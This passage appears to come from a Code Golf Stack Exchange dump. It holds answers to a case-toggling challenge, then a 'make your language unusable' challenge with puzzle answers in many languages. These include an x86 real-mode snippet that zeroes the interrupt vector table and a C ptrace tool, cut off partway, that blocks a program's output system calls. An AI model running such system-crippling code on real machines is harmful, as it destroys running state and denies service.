Online!](http://lyxal.pythonanywhere.com?flags=s&code=%60a%7CA%60%E1%B9%A1%E2%81%BDN%E1%BA%87&inputs=The%20end%20of%20the%20institution%2C%20mAintenance%2C%20and%20administration%20of%20government%2C%20is%20to%20secure%20the%20existence%20of%20the%20body%20politic%2C%20to%20protect%20it%2C%20and%20to%20furnish%20the%20individuals%20who%20compose%20it%20with%20the%20power%20of%20enjoying%20in%20safety%20and%20tranquility%20their%20natural%20rights%2C%20and%20the%20blessings%20of%20life%3A%20and%20whenever%20these%20great%20objects%20are%20not%20obtained%2C%20the%20people%20have%20a%20right%20to%20alter%20the%20government%2C%20and%20to%20take%20measures%20necessary%20for%20their%20safety%2C%20prosperity%20and%20happiness.&header=&footer=)\nExplanation:\n```\n # Implicit input\n`a|A`ṡ # Split string every instance 'a' OR 'A'\n ⁽N # Define a function that swaps the casing of strings\n ẇ # Apply the function to every 2nd string\n # 's' flag: concatenate top of the stack and print\n```\n[Answer]\n# [Haskell](https://www.haskell.org/), 92 bytes\n```\nimport Data.Char\ng x|x<'['=toLower x|1>0=toUpper x\nf(a:b)|elem a\"aA\"=f$g<$>b|1>0=a:f b\nf x=x\n```\n[Try it online!](https://tio.run/##HcpBC8IgGAbgu7/iQ4TVJeo65iDWra6dOr2WbpJOMSGD/XdbHR94Jrye2rlarY8hZTohYzdMSGykspSuuTUyh0t467T60O9XXWP8iZkNWrVdtNOewHHk0oixE736P7SGFDNUZKkedpYx2TkLw8/6owLSg@7IvH4B \"Haskell – Try It Online\")\n## Explanation\nFirst we declare `g` to be the function that maps lowercase to upper case and uppercase to lowercase. This is actually the majority of our bytecount. Then we define the function `f`. If the input to `f` is of the form `a:b` we do\n```\nf(a:b)\n |elem a\"aA\"=f$g<$>b\n |1>0=a:f b\n```\n`a` and `A` match the first pattern and thus we apply `f` to the input with it's case inverted. Otherwise we move `a` out front and apply `f` to `b`.\n[Answer]\n# [Husk](https://github.com/barbuz/Husk), 15 bytes\n```\nω(F·+otm\\↕·≠_'a\n```\n[Try it online!](https://tio.run/##yygtzv7//3ynhtuh7dr5Jbkxj9qmHtr@qHNBvHri////QzJSFQpLM5OzFZKK8svzFNLyKxSySnMLihXyy1KLFEqA0jmJVZUKKfnpegA \"Husk – Try It Online\")\n### Explanation\n```\nω(F·+(tm\\)↕·≠_'a) -- example input: \"Bar, baz and Foo.\"\nω( ) -- apply the following, until fixpoint is reached:\n ↕ -- | split string with predicate\n · _ -- | | the lower-cased character\n ≠ 'a -- | | is not 'a'\n -- | : (\"B\",\"ar, baz and Foo.\")\n F -- | apply the following to the tuple\n + -- | | join the elements with..\n · ( ) -- | | ..the second element: \"ar, baz and Foo.\"\n m\\ -- | | | swap case: \"AR, BAZ AND fOO.\"\n t -- | | | tail: \"R, BAZ AND fOO.\"\n -- | : \"BR, BAZ AND fOO.\"\n -- : \"BR, Bz ND fOO.\"\n```\n[Answer]\n# Rust, 330 bytes\n```\nfn main(){let mut i=String::new();std::io::stdin().read_line(&mut i);let mut o=vec![];let mut c=false;for l in i.trim().as_bytes(){if*l==65||*l==97{c=!c;}else if c{if l.is_ascii_uppercase(){o.push((*l).to_ascii_lowercase());}else{o.push((*l).to_ascii_uppercase());}}else{o.push(*l);}}println!(\"{}\",String::from_utf8(o).unwrap());}\n```\nUngolfed\n```\nfn main() {\n let mut input = String::new();\n std::io::stdin().read_line(&mut input);\n let mut output_chars = vec![];\n let mut capslock = false;\n for letter in input.trim().as_bytes() {\n if *letter == 65 || *letter == 97 {\n capslock = !capslock;\n } else if capslock {\n if letter.is_ascii_uppercase() {\n output_chars.push((*letter).to_ascii_lowercase());\n } else {\n output_chars.push((*letter).to_ascii_uppercase());\n }\n } else {\n output_chars.push(*letter);\n }\n }\n println!(\"{}\", String::from_utf8(output_chars).unwrap());\n}\n```\nSince this uses bytes instead of chars in the loop, 65 and 97 are the byte values for 'A' and 'a'.\nI'm new to Rust, so this might be golfable further.\n[Answer]\n# [Japt](https://github.com/ETHproductions/japt) v2.0a0, 16 bytes\n```\ne/a.*/i_År\\l_c^H\n```\n[Try it](https://ethproductions.github.io/japt/?v=2.0a0&code=ZS9hLiovaV/FclxsX2NeSA==&input=IldoYXQgaGFwcGVucyB3aGVuIHRoZSBDYXBzTG9jayBrZXkgb24geW91ciBrZXlib2FyZCBkb2Vzbid0IGhhdmUgYSBub3RjaCBpbiBpdD8i)\n---\n## Explanation\n```\ne :Recursively replace\n /a.*/i :RegEx /a.*/gi\n _ :Pass each match through a function\n Å : Slice off the first character\n r : Replace\n \\l : RegEx /[A-Za-z]/g\n _ : Pass each match though a function\n c^ : Bitwise XOR the character code\n H : With 32\n```\n[Answer]\n## PHP 4, 77 76 75\n```\nforeach(spliti(a,$argn)as$b)echo$a++&1?strtoupper($b)^strtolower($b)^$b:$b;\n```\nSplit into substrings by `A` (case insensitive) then toogle every second case.\n[Try it out here](http://sandbox.onlinephpfunctions.com/code/206f5b4a49de3f1343b2b10f0a07614a79caa3b1).\n---\nOld version\n```\nfor(;a&$c=$argn[$i++];)trim($c,aA)?print($c^chr($f*ctype_alpha($c))):$f^=32;\n```\nwalks over the string and toogles a flag if the current char is `a` or `A` else the char gets toogled depending on the flag and echoed.\n[Answer]\n# [SNOBOL4 (CSNOBOL4)](http://www.snobol4.org/csnobol4/), ~~141~~ 92 bytes\n```\n\tI =INPUT\nS\tI ANY(\"Aa\") REM . R =REPLACE(R,&LCASE &UCASE,&UCASE &LCASE) :S(S)\n\tOUTPUT =I\nEND\n```\n[Try it online!](https://tio.run/##JYxBC4IwAEbP@is@PJiCdOoUSIjtIJjJpkTHqYOJsYlbhb9@KZ3e44PvGaU7/To55xVIi6puG59tmlXPKMh4EIOSG46gSCmpyywnEU3CMs8YQdjuSP7Af4xxZhGLfe/eNltrS/qkujr3kNxC8nkWyuArhYKVAjmfTan7CZNYoRVW/V527zRfBgxaGHXYbx8BDqVtLzEqjPbyAw \"SNOBOL4 (CSNOBOL4) – Try It Online\")\nAssumes a single line of input.\nA whopping 49 bytes saved by [@ninjalj](https://codegolf.stackexchange.com/users/267/ninjalj)!\nLine `S` does all the work, explained below:\n```\nI # in the subject string I match the following PATTERN:\n ANY(\"Aa\") # match A or a and\n REM . R # match the remainder of I, assigning this to R\n =REPLACE( # replace the PATTERN above with\n R, ...) # R with swapped cases.\n :S(S) # and if there was a match, goto S, else goto next line \n```\n[Answer]\n# [Stax](https://github.com/tomtheisen/stax), 12 [bytes](https://github.com/tomtheisen/stax/blob/master/docs/packed.md#packed-stax)\n```\nìo'½`║â↨╪U?5\n```\n[Run and debug it online](https://staxlang.xyz/#p=8d6f27ab60ba8317d8553f35&i=The+quick+brown+fox+jumps+over+the+lazy+dog.%0ACompilation+finished+successfully.%0AWhat+happens+when+the+CapsLock+key+on+your+keyboard+doesn%27t+have+a+notch+in+it%3F%0AThe+end+of+the+institution,+maintenance,+and+administration+of+government,+is+to+secure+the+existence+of+the+body+politic,+to+protect+it,+and+to+furnish+the+individuals+who+compose+it+with+the+power+of+enjoying+in+safety+and+tranquillity+their+natural+rights,+and+the+blessings+of+life%3A+and+whenever+these+great+objects+are+not+obtained,+the+people+have+a+right+to+alter+the+government,+and+to+take+measures+necessary+for+their+safety,+prosperity+and+happiness.%0AaAaaaaAaaaAAaAa&a=1&m=2)\nIt splits on a regex, and then alternately toggles case. Here's the same program, unpacked, ungolfed, and commented.\n```\n\"a|A\"|s split on regex /a|A/\nrE reverse and explode array to stack\nW repeat forever...\np print top of stack with no newline\n:~p print top of stack, case inverted, with no newline\n```\n[Run this one](https://staxlang.xyz/#c=%22a%7CA%22%7Cs%09split+on+regex+%2Fa%7CA%2F%0ArE%09reverse+and+explode+array+to+stack%0AW%09repeat+forever...%0Ap%09print+top+of+stack+with+no+newline%0A%3A%7Ep%09print+top+of+stack,+case+inverted,+with+no+newline&i=The+quick+brown+fox+jumps+over+the+lazy+dog.%0ACompilation+finished+successfully.%0AWhat+happens+when+the+CapsLock+key+on+your+keyboard+doesn%27t+have+a+notch+in+it%3F%0AThe+end+of+the+institution,+maintenance,+and+administration+of+government,+is+to+secure+the+existence+of+the+body+politic,+to+protect+it,+and+to+furnish+the+individuals+who+compose+it+with+the+power+of+enjoying+in+safety+and+tranquillity+their+natural+rights,+and+the+blessings+of+life%3A+and+whenever+these+great+objects+are+not+obtained,+the+people+have+a+right+to+alter+the+government,+and+to+take+measures+necessary+for+their+safety,+prosperity+and+happiness.%0AaAaaaaAaaaAAaAa&a=1&m=2)\n]"}}},{"rowIdx":32,"cells":{"text":{"kind":"string","value":"[Question]\n [\nTry to write some code in your language and make it not satisfying our [criteria of being a programming language](https://codegolf.meta.stackexchange.com/a/2073/25180) any more.\nA language satisfies our criteria (simplified version for this challenge) of being a programming language if:\n* It can read user input representing tuples of positive integers in some way.\n* It can output at least two different possible results depending on the input.\n* It can take two positive integers and add them (and the result can affect the output).\n* It can take a positive integer and decide whether it is a prime (and the result can affect the output).\n* For the purpose of this challenge, any kind of output that isn't [an allowed output method for a normal challenge](https://codegolf.meta.stackexchange.com/q/2447/25180) is ignored. So it doesn't matter whether the program can also play a piece of music, or posting via HTTP, etc.\n* **Update:** You can also choose one or some of the allowed output methods, and ignore all the others. But you must use the same definition everywhere in the following criteria. And if your program can disable more than one output methods — that worths more upvotes.\nExamples like making it not able to output, or disabling all the loop constructs so it won't be able to do primality test and making sure the user cannot re-enable them.\nYou should leave a place for inserting new code. By default, it is at the end of your code. If we consider **putting the source code in that place in your answer and running the full code as a complete program** the interpreter of a new language, that language should not satisfy the criteria.\nBut the inserted code must be executed in such a way *like* a language satisfying the criteria:\n* The inserted code must be grammatically the same as something (say it's a **code block** in the following criteria) that generally do satisfy the criteria, from the perspective of whoever wants to write a syntax highlighter. So it cannot be in a string, comment, etc.\n* The inserted code must be actually executed, in a way it is supposed to satisfy the criteria. So it cannot be in an unused function or `sizeof` in C, you cannot just execute only a non-functional part in the code, and you cannot put it after an infinite loop, etc.\n* You can't limit the number of possible grammatically correct programs generated this way. If there is already something like a length limit in the language you are using, it shouldn't satisfy the criteria even if this limit is removed.\n* You can't modify or \"use up\" the content of input / output, but you can prevent them from being accessed.\n* These criteria usually only applies to languages without explicit I/O:\n\t+ Your code should redirect the user input (that contains informations of arbitrary length) to the inserted code, if a code block isn't usually able to get the user input directly / explicitly in the language you are using.\n\t+ Your code should print the returned value of the inserted code, if a code block isn't usually able to output things directly / explicitly in the language you are using.\n\t+ In case you print the returned value, and it is typed in the language you are using, the returned type should be able to have 2 different practically possible values. For example, you cannot use the type `struct {}` or `struct {private:int x;}` in C++.\nThis is popularity-contest. The highest voted *valid* answer (so nobody spotted an error or all errors are fixed) wins.\n## Clarifications\n* You shouldn't modify the code in the text form, but can change the syntax before the code is interpreted or compiled.\n* You can do other things while the code is running. But the reason that it doesn't satisfy the criteria should be within the inserted code itself. It can error because of the interference of another thread, but not just be killed by another thread.\n* All the specs basically means it should be *grammatically likely satisfying the criteria if all the built-ins were not changed* but not actually do. It's fine if you find any non-grammatical workarounds, such as passing the parameters to the code block correctly, but make them not able to be used in some way.\n* Again, **the inserted code must be actually executed.** Code after an **infinite loop** or **crashing** is considered \"not actually executed\", thus **not valid**. Those answers might be interesting, but there are already some other infinite loop or crashing questions on this site, and you may find a more appropriate one to answer. If not, consider asking a new question. Examples of those questions are:\n\t+ [Shortest infinite loop producing no output](https://codegolf.stackexchange.com/q/59347/25180)\n\t+ [Why isn't it ending?](https://codegolf.stackexchange.com/q/24304/25180)\n\t+ [Loop without 'looping'](https://codegolf.stackexchange.com/q/33196/25180)\n\t+ [Challenge: Write a piece of code that quits itself](https://codegolf.stackexchange.com/q/16527/25180)\n\t+ [Ridiculous Runtime Errors](https://codegolf.stackexchange.com/q/6887/25180)\n\t+ [Crash your favorite compiler](https://codegolf.stackexchange.com/q/7197/25180)\n## Leaderboard\n```\nvar QUESTION_ID=61115/*,OVERRIDE_USER=8478*/;function answersUrl(e){return\"https://api.stackexchange.com/2.2/questions/\"+QUESTION_ID+\"/answers?page=\"+e+\"&pagesize=100&order=desc&sort=creation&site=codegolf&filter=\"+ANSWER_FILTER}function commentUrl(e,s){return\"https://api.stackexchange.com/2.2/answers/\"+s.join(\";\")+\"/comments?page=\"+e+\"&pagesize=100&order=desc&sort=creation&site=codegolf&filter=\"+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:\"get\",dataType:\"jsonp\",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,/*getComments()*/(more_answers?getAnswers():process())}})}/*function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:\"get\",dataType:\"jsonp\",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}*/function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r=\"

\"+e.body.replace(OVERRIDE_REG,\"\")+\"

\")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),score:s.score,language:a[1],lang:jQuery('
').html(a[1]).text(),link:s.share_link})}),e.sort(function(e,s){var r=e.score,a=s.score;return a-r});var s={},r=1,a=null,n=1;e.forEach(function(e){e.score!=a&&(n=r),a=e.score,++r;var t=jQuery(\"#answer-template\").html();t=t.replace(\"{{PLACE}}\",e.n=n+\".\").replace(\"{{NAME}}\",e.user).replace(\"{{LANGUAGE}}\",e.language).replace(\"{{SIZE}}\",e.score).replace(\"{{LINK}}\",e.link),t=jQuery(t),jQuery(\"#answers\").append(t);var o=e.language;/s.lang.toUpperCase())-(e.lang.toUpperCase()s.lang)-(e.lang)p)>\\s*((?:[^,;(\\s]| +[^-,;(\\s])+)(?=(?: *(?:[,;(]| -).*?)?\\s*<\\/(h\\d|p)>)/,OVERRIDE_REG=/^Override\\s*header:\\s*/i;\n```\n```\nbody{text-align:left!important}#answer-list,#language-list{padding:10px;float:left}table{width:250px}table thead{font-weight:700}table td{padding:5px}\n```\n```\n

Leaderboard

AuthorLanguageScore

Sorted by Language

LanguageUserScore
{{PLACE}}{{NAME}}{{LANGUAGE}}{{SIZE}}Link
{{PLACE}}{{LANGUAGE}}{{NAME}}{{SIZE}}Link
\n```\n \n[Answer]\n# [JavaScript Shell](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey)\nThis will make the language *completely* unusable. \n```\nclear(this);\n```\nIsn't it nice how JavaScript has such a nice function to destroy itself?\n---\nThis is pretty simple, the `clear` function completely empty an object. `this` refers to the global object clearing out *everything* including constructors and functions.\n---\nBecause this clears *everything*, doing *anything*, even defining a literal will throw an error, making the language completely useless:\n[![Example Usage](https://i.stack.imgur.com/H1GJN.png)](https://i.stack.imgur.com/H1GJN.png)\n\\*REPL environment **not** required.\n Uses the [**SpiderMonkey**](http://vihan.org/archives/spidermonkey.zip) engine (shell not browser), the original JS engine. \n[Answer]\n## [Emmental](http://esolangs.org/wiki/Emmental)\n```\n;#33!\n```\nI know this isn't code golf, but the right tool for the job, you know...\nThe user's code can be inserted after the `!`.\nEmmental is an interesting esolang which is *based* on rewriting the interpreter. Every single symbol (including the built-in ones) can be redefined as an arbitrary Emmental program. The language relies on this feature so much that it doesn't provide any looping constructs. Instead, you define recursive commands which appear in their own definitions.\nThis redefinition happens via `!`, which reads a character from the stack, and then reads a string from the stack until it encounters a `;`. The character is then redefined to mean the program represented by that string.\nThat means, we can disable Emmental's looping features by redefining `!` *itself* as the empty program. While all other Emmental code still runs perfectly fine, and many of the criteria of a programming language are still fulfilled, it is impossible to redefine any more symbols. Without this feature (and therefore, without being able to loop), Emmental can no longer test whether a number is prime.\n[Answer]\n# PHP\nOne can completely kill PHP by setting the memory limit to 1.\nIt will completely die.\nTry this:\n```\n OB_START_LEVEL) ob_clear();\n```\nThis will avoid the problem of deleting the automatically started output buffer, used to catch the output to be compressed.\nThis also prevents that the output buffer is deleted or flushed (sent to the browser). To re-inforce that, an output handler is added, that always returns an empty string. \nRunning `ob_end_flush(); echo \"Hello, world!\";` won't produce anything, but would send the output with a plain `ob_start();`.\nThanks to [@LucasTrzesniewski](https://codegolf.stackexchange.com/users/31881/lucas-trzesniewski) for exposing this issue!\n[Answer]\n# x86 machine code in real mode (=> almost any DOS program)\n```\n00000000 6a 00 07 b9 00 04 30 c0 31 ff f3 aa |j.....0.1...|\n0000000c\n```\ni.e.\n```\npush 0\npop es\nmov cx,400h\nxor al,al\nxor di,di\nrep stosb\n```\nI hope you weren't too attached to your interrupt table.\n[Answer]\n# Java\n```\nimport java.io.*;\nimport java.lang.reflect.*;\npublic class Test2 {\n public static void main(String[] args) throws Exception {\n args = new String[0];\n System.setOut(new PrintStream(new ByteArrayOutputStream()));\n System.setErr(new PrintStream(new ByteArrayOutputStream()));\n System.setIn(new ByteArrayInputStream(new byte[0]));\n Field modifiersField = Field.class.getDeclaredField(\"modifiers\");\n modifiersField.setAccessible(true);\n Class fdClass = java.io.FileDescriptor.class;\n Field outField = fdClass.getDeclaredField(\"out\");\n outField.setAccessible(true);\n modifiersField.setInt(outField, outField.getModifiers() & ~Modifier.FINAL);\n outField.set(null, new FileDescriptor());\n Field errField = fdClass.getDeclaredField(\"err\");\n errField.setAccessible(true);\n modifiersField.setInt(errField, errField.getModifiers() & ~Modifier.FINAL);\n errField.set(null, new FileDescriptor());\n Field inField = fdClass.getDeclaredField(\"in\");\n inField.setAccessible(true);\n modifiersField.setInt(inField, inField.getModifiers() & ~Modifier.FINAL);\n inField.set(null, new FileDescriptor());\n System.setSecurityManager(new SecurityManager(){\n private boolean exitAllowed = false;\n public void checkPermission(java.security.Permission perm) {\n String name = perm.getName();\n if(name.equals(\"setIO\")\n || name.equals(\"setSecurityManager\")\n || name.equals(\"writeFileDescriptor\")\n || name.equals(\"readFileDescriptor\")\n || name.equals(\"suppressAccessChecks\")\n || (perm instanceof FilePermission\n && name.startsWith(\"/proc/self/fd/\"))){\n throw new SecurityException(\"Nope\");\n }\n if(name.startsWith(\"exitVM\") && !exitAllowed){\n exitAllowed = true;\n System.exit(0);\n }\n }\n public void checkExec(String cmd){\n throw new SecurityException(\"nope\");\n }\n });\n // program here\n }\n}\n```\nEdit: Counter-countermeasures are making this giant :(\nRedirects stdin and stdout to null streams and replaces args with an empty array. Also uses enormous amounts of reflection hacks to make sure the standard IO is truly hidden. Finally, it sets a security manager to make sure the standard IO can't be recreated and that makes sure programs can't set the exit code.\n[Answer]\n## Lua\n```\n_ENV=\"\"\n```\nIn Lua, `_ENV` is the environment that all global variables, functions, tables, etc are stored in. Defining it to just be an empty string means you can't define anything new, and all functions and variables are wiped. This means you can not output anything, take in input, or pretty much do anything.\n[Answer]\n**Shakespeare Programming Language**\n```\nHave Fun Mr Parser.\nRomeo, a young man of Verona.\nJuliet, a young lady of Verona.\nHamlet, another character which causes the crash.\nAct I\nScene I The crash.\n[Enter Romeo]\n[Enter Juliet]\n[Exit Hamlet]\n```\nIn SPL, the built in parser which is downloaded with the program follows very specific rules as to what can happen in the script. One of such rules is that only two characters can be on stage at once. Also, making a character exit the stage who was never on stage will confuse it. The same goes for adding a character to the stage who is already on stage. When the parser receives an error, it will refuse to do ANYTHING else; you literally have to completely shutdown the program and the parser and then start up everything again.\nP.S. If you have no idea how this language works, Google it. It's awesome.\n[Answer]\n# Smalltalk\nI'm not sure if this qualifies:\n```\nSmalltalk := Nil.\n```\nThis deletes the entire run-time environment, hanging the object engine. The only way to fix this is to forcibly terminate the process and restart from backup.\nFor those that don't know, the way [Visual Works] Smalltalk works is slightly weird. It's like a mini-OS. When you start Smalltalk, you load a \"memory image\" into RAM, and it continues executing from where it left off. The entire Smalltalk IDE is written in Smalltalk and is dynamically modifiable.\nIn particular, `Smalltalk` is a dictionary containing all global variables. Most particularly, every time you declare a new class, a global variable with that name is created, pointing to the `Class` object for your new class. So setting `Smalltalk` to `Nil` (basically null) deletes all classes in the entire system. Even the GUI event handlers go poof.\nI have no idea why this variable is even writable. Probably because it's a global variable, and therefore exists as an entry inside itself. (Does your head hurt yet? Did I mention that every object has a class, and classes are objects, so every class has a class? The class of a class is called a metaclass, but a metaclass is also an object, which therefore has a class...)\nYou could probably achieve a similar effect by *clearing* the dictionary rather than replacing it with null. Indeed, there's any number of things you could code to delete all the classes in the system, leaving you unable to do anything. But since the actual Smalltalk compiler is also a class... anything that breaks the language also kinda breaks the entire IDE, so...\n[Answer]\n# Haskell\nThere are a couple of possibilities here.\nBoring idea #1: Define `main` to do nothing. Now no matter what other code you write, it can never execute. (Unless you manually run it from the REPL.)\nBoring idea #2: Define a module with no public exports. Now no matter what other code your write, it can never execute.\nInteresting idea: Disable all imports.\n```\nmodule Fubar where\nimport Prelude ()\nfoo = foo\n-- More code here.\n```\nNow you can define functions which *are* visible and *can* be run... but they can't do anything. All standard Haskell types and functions are now hidden. (With the exception of a few things *really* deeply hard-wired into the language.)\nMost particularly, you cannot perform any I/O whatsoever. You also cannot do machine-precision arithmetic. (Since `Int`, `Double`, etc are now undefined.)\nYou *can* still write lambda-calculus functions that do perform some real computation though. You just can't get any data into or out of the thing. But you could of course write another, separate module that calls the `Fubar` module above and does I/O on its behalf (thus proving that the code does execute and does do stuff).\nSome subtleties:\n* The dummy `foo = foo` declaration is needed to prevent anybody adding additional imports. (Imports cannot appear *after* declarations.)\n* There are various non-standard Haskell language extensions that would enable you to climb out of this situation. But language extensions have to be switched on with a compiler pragma at the *top* of the file. (Or with a command-line switch to the compiler. I can't really prevent that one!)\n[Answer]\n# PostScript\nYes, PostScript is a programming language. Moreover, it's a programming language where all language constructs are system-defined functions, which can be *redefined*...\n```\n/Magic 1000 dict def\nsystemdict {pop Magic exch {} put} forall\nMagic begin\n```\nIn English:\n* Create an empty 1,000-element dictionary and name it `Magic`.\n* For every key in `systemdict`, add the same key to `Magic`, with an empty definition (\"`{}`\").\n* Push `Magic` onto the top of the dictionary stack.\nFrom this moment on, every PostScript language command is defined to do nothing. AFAIK, it is *impossible* to escape from this condition.\n(Technically, you're not \"destroying\" the old definitions, you're just shadowing them. If you could still execute `end`, that would pop `Magic` off the dictionary stack, un-shadowing all the commands and giving you your life back. But since `end` itself is also shadowed... it will do nothing now.)\nNote that all commands will still *execute*... it's just that now they are defined to do nothing. You won't get any kind of error, it's just that nothing will happen. (Well, I suppose stack overflow will happen *eventually*...)\n[Answer]\n# Any program executing under Linux/x86(-64)\nThis program is *written* in C, but it can disrupt execution of any program running under Linux/x86 (-32 or -64). You prepend it to the command-line invocation of the program you want to disrupt.\nIt uses the debugger API to prevent the target program from producing any output. Specifically, all of the system calls that can communicate something to the world outside the process (most obviously `write`, of course, but also `open` when creating a file, the bulk of the socket API, `kill` when applied to another process, ...) will fail as if they were unimplemented. `_exit` is allowed, but the exit code is overwritten with a zero.\nUnlike the previous edition of this answer, many programs can run nearly to completion under these conditions; it's just that all their work is wasted. For instance, if you do `./no-syscalls /bin/ls` (assuming GNU coreutils `ls`) it reads the whole directory and formats it, and then all the `write` calls to produce output fail. (Anything that needs to open a bidirectional communication channel, though, such as all X11 clients, will fail at that point. I thought about allowing `socket` but not `send`, but it seemed too likely to open loopholes.)\nThere are several command-line options to tweak the behavior;\n```\n-a log allowed system calls\n-d log denied system calls\n-e deny everything, not just output\n-S permit writes to stderr\n```\nDynamically linked programs will not even get out of the dynamic linker in `-e` mode. `-S` obviously opens a huge hole in the policy, but it can be entertaining to watch programs moan about nothing working, e.g.\n```\n$ ./no-syscalls -daeS /bin/ls\nsyscall 59...\nsyscall 59 = 0\nsyscall 12 (denied) = -38\nsyscall 21 (denied) = -38\nsyscall 9 (denied) = -38\nsyscall 20...\n/bin/ls: error while loading shared libraries: cannot create cache for search path: Cannot allocate memory\nsyscall 20 = 107\nsyscall 231...\nProgram exited, status = 0\n```\nYou have to read log output with `/usr/include/asm*/unistd.h` open in another window, because this is already quite long enough.\nSadly, the debugger interfaces that this uses are only weakly consistent across Unix implementations, and are intrinsically CPU-specific. It would be relatively straightforward to port it to other CPU architectures (just add appropriate definitions of `SYSCALL_*_REG`), and it's probably *possible* to port it to any Unix that has [`ptrace`](http://linux.die.net/man/2/ptrace), but you might need to muck with the syscall whitelist extensively as well as dealing with divergences in `ptrace`.\n```\n#define _GNU_SOURCE 1\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#if defined __linux__\n# define SYS_unimplemented -1L\n# if defined __i386__\n# define SYSCALL_NUMBER_REG regs.orig_eax\n# define SYSCALL_ARG1_REG regs.ebx\n# define SYSCALL_ARG2_REG regs.ecx\n# define SYSCALL_ARG3_REG regs.edx\n# define SYSCALL_ARG4_REG regs.esi\n# define SYSCALL_RESULT_REG regs.eax\n# elif defined __x86_64__\n# define SYSCALL_NUMBER_REG regs.orig_rax\n# define SYSCALL_ARG1_REG regs.rdi\n# define SYSCALL_ARG2_REG regs.rsi\n# define SYSCALL_ARG3_REG regs.rdx\n# define SYSCALL_ARG4_REG regs.r10\n# define SYSCALL_RESULT_REG regs.rax\n# else\n# error \"Need to know system call convention for this CPU\"\n# endif\n#else\n# error \"Need to know system call convention for this OS\"\n#endif\nstatic long\nxptrace(int request, pid_t pid, void *addr, void *data)\n{\n errno = 0;\n long rv = ptrace(request, pid, addr, data);\n if (rv == -1 && errno) {\n perror(\"ptrace\");\n if (pid != 0) kill(pid, SIGKILL);\n exit(1);\n }\n return rv;\n}\n#define GET_REG_(pid, x) \\\n xptrace(PTRACE_PEEKUSER, pid, (void*)offsetof(struct user, x), 0)\n#define GET_REG(pid, x) GET_REG_(pid, SYSCALL_##x##_REG)\n#define SET_REG_(pid, x, v) \\\n xptrace(PTRACE_POKEUSER, pid, (void*)offsetof(struct user, x), (void*)v)\n#define SET_REG(pid, x, v) SET_REG_(pid, SYSCALL_##x##_REG, v)\n/* This function defines the system-call policy. */\nstatic int\ndeny_syscall(pid_t pid, int scnum, int deny_all, int allow_stderr)\n{\n switch (scnum) {\n /* These syscalls are unconditionally allowed (when not in -e mode);\n they perform input, or change only process-local state. */\n#ifdef SYS_access\n case SYS_access:\n#endif\n#ifdef SYS_alarm\n case SYS_alarm:\n#endif\n#ifdef SYS_arch_prctl\n case SYS_arch_prctl:\n#endif\n#ifdef SYS_brk\n case SYS_brk:\n#endif\n#ifdef SYS_capget\n case SYS_capget:\n#endif\n#ifdef SYS_clock_getres\n case SYS_clock_getres:\n#endif\n#ifdef SYS_clock_gettime\n case SYS_clock_gettime:\n#endif\n#ifdef SYS_clock_nanosleep\n case SYS_clock_nanosleep:\n#endif\n#ifdef SYS_close\n case SYS_close:\n#endif\n#ifdef SYS_dup\n case SYS_dup:\n#endif\n#ifdef SYS_dup2\n case SYS_dup2:\n#endif\n#ifdef SYS_dup3\n case SYS_dup3:\n#endif\n#ifdef SYS_epoll_create\n case SYS_epoll_create:\n#endif\n#ifdef SYS_epoll_create1\n case SYS_epoll_create1:\n#endif\n#ifdef SYS_epoll_ctl\n case SYS_epoll_ctl:\n#endif\n#ifdef SYS_epoll_ctl_old\n case SYS_epoll_ctl_old:\n#endif\n#ifdef SYS_epoll_pwait\n case SYS_epoll_pwait:\n#endif\n#ifdef SYS_epoll_wait\n case SYS_epoll_wait:\n#endif\n#ifdef SYS_epoll_wait_old\n case SYS_epoll_wait_old:\n#endif\n#ifdef SYS_eventfd\n case SYS_eventfd:\n#endif\n#ifdef SYS_eventfd2\n case SYS_eventfd2:\n#endif\n#ifdef SYS_faccessat\n case SYS_faccessat:\n#endif\n#ifdef SYS_fadvise64\n case SYS_fadvise64:\n#endif\n#ifdef SYS_fadvise64_64\n case SYS_fadvise64_64:\n#endif\n#ifdef SYS_fanotify_init\n case SYS_fanotify_init:\n#endif\n#ifdef SYS_fanotify_mark\n case SYS_fanotify_mark:\n#endif\n#ifdef SYS_fgetxattr\n case SYS_fgetxattr:\n#endif\n#ifdef SYS_flistxattr\n case SYS_flistxattr:\n#endif\n#ifdef SYS_fstat\n case SYS_fstat:\n#endif\n#ifdef SYS_fstat64\n case SYS_fstat64:\n#endif\n#ifdef SYS_fstatat64\n case SYS_fstatat64:\n#endif\n#ifdef SYS_fstatfs\n case SYS_fstatfs:\n#endif\n#ifdef SYS_fstatfs64\n case SYS_fstatfs64:\n#endif\n#ifdef SYS_ftime\n case SYS_ftime:\n#endif\n#ifdef SYS_futex\n case SYS_futex:\n#endif\n#ifdef SYS_getcpu\n case SYS_getcpu:\n#endif\n#ifdef SYS_getcwd\n case SYS_getcwd:\n#endif\n#ifdef SYS_getdents\n case SYS_getdents:\n#endif\n#ifdef SYS_getdents64\n case SYS_getdents64:\n#endif\n#ifdef SYS_getegid\n case SYS_getegid:\n#endif\n#ifdef SYS_getegid32\n case SYS_getegid32:\n#endif\n#ifdef SYS_geteuid\n case SYS_geteuid:\n#endif\n#ifdef SYS_geteuid32\n case SYS_geteuid32:\n#endif\n#ifdef SYS_getgid\n case SYS_getgid:\n#endif\n#ifdef SYS_getgid32\n case SYS_getgid32:\n#endif\n#ifdef SYS_getgroups\n case SYS_getgroups:\n#endif\n#ifdef SYS_getgroups32\n case SYS_getgroups32:\n#endif\n#ifdef SYS_getitimer\n case SYS_getitimer:\n#endif\n#ifdef SYS_get_kernel_syms\n case SYS_get_kernel_syms:\n#endif\n#ifdef SYS_get_mempolicy\n case SYS_get_mempolicy:\n#endif\n#ifdef SYS_getpeername\n case 